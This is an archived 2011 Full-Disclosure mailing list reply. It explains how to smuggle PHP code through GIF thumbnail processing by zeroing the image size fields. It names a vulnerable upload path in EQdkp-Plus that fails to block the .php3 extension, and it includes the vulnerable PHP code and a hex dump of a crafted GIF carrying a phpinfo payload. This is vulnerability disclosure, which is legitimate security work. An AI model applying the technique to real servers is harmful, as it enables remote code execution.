full-disclosure - Re: Php gif upload thumbnail creation remote exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <BANLkTimXmSWsa+V-bnOF0L8Ho654Eg8G6A@mail.gmail.com>
Date: Sun, 19 Jun 2011 13:35:33 +0200
From: "HI-TECH ." <isowarez.isowarez.isowarez@...glemail.com>
To: Владимир Воронцов <vladimir.vorontsov@...ec.ru>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Php gif upload thumbnail creation remote
	exploit

A good and working example for this technique is the "EQdkp-Plus" PHP Software,
the URL http://<hostname>/dkp/plugins/mediacenter/upload.php
allows to upload image files. There are two checks made by the software:
* Extensions check, where they forget to check for the php3 extension,
which might be parsed by the webserver as php code.
* Check if the upload is actually an image.

When the user uploads the image it´s thumbnail appears under
http://<host>/dkp/data/e6c2ee4aac968c19f61eeaab09401374/mediacenter/thumbs_b/229684607dfcae84b89ae669c9056268.php3
this link can be found by searching for the entry which was uploaded
using the search tool.

Normally the embedded php code will not appear in the php3 file
because of thumbnail creation which modifies the GIF file.
The GIF processing code in EQdkp-Plus is the following:

$size = GetImageSize($image);

if($size[2] != 0){

			//CREATE THUMBNAILS
			$thumb_path = $pcache->FolderPath($dest_folder, 'mediacenter');
			$pic_width = $size[0];
			$pic_height = $size[1];

			if ($pic_width >= $pic_height){
				$thumb_width = $width;
				$thumb_height = intval($pic_height*$thumb_width/$pic_width);

			} else {
				$thumb_height = $height;
				$thumb_width = intval($pic_width*$thumb_height/$pic_height);

			}
			// GIF
			if ($size[2] == 1){
				$picture = ImageCreateFromGIF($image);
				$thumbnail = ImageCreateTrueColor($thumb_width, $thumb_height);
				$white = imageColorAllocate ($thumbnail, 0, 0, 0);
				$trans = imagecolortransparent($thumbnail,$white);
				ImageCopyResampled($thumbnail, $picture, 0, 0, 0, 0, $thumb_width,
$thumb_height, $pic_width, $pic_height);
				ImageGIF($thumbnail, $thumb_path.$pic_name);
				//chmod($thumb_path.$pic_name,0644);
			}
...

As you can see this is a standart procedure to create a thumbnail out
of the image.

0000h: 47 49 46 38 39 61 << 00 00 00 00 00 00 00 >> 00 00 00  GIF89a..........
0010h: 00 00 33 00 00 66 00 00 99 00 00 CC 00 00 FF 00  ..3..f..™..Ì..ÿ.
...
...
...
0980h: 56 40 00 00 3B 3C 3F 20 70 68 70 69 6E 66 6F 28  V@..;<? phpinfo(
0990h: 29 3B 20 3F 3E                                   ); ?>

The bytes enclosed by "<<" and ">>" are zeroed out with a hex editor
so that after the processing of the GIF file
the php code (which is embedded at the very bottom of the GIF file)
stays inside the file.

-kc

2011/6/19 Владимир Воронцов <vladimir.vorontsov@...ec.ru>:
> http://ax330d.blogspot.com/2011/06/mosaic-of-attacks-from-image-upload.html?showComment=1308462489303#c952957474393688505
>
> On Sun, 19 Jun 2011 02:58:16 +0200, "HI-TECH ."
> <isowarez.isowarez.isowarez@...glemail.com> wrote:
>> This technique describes how to exploit apps which encode pictures
> during a
>> Php upload. Embedding Php code inside gif files which are uploaded is a
>> known technique to execute arbitrary code on a Apache Php installation.
> Now
>> what can one do when the code which uploads the file processes and
> encodes
>> the file to a thumbnail and only this thumbnail is accessible remotely
> with
>> the correct extension? The gif file is crunshed and the embedded Php
> code
>> disappears, bad situation you might think. The solution is to zero out
> all
>> size fields of the gif file using a hex editor. The result after the
> upload
>> is that the encoding routine processes the file without modifying it
>> because
>> of size checks. The Php code stays embedded in the file. -kc
>
> --
> Best regards,
> Vladimir Vorontsov
> ONsec security expert
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/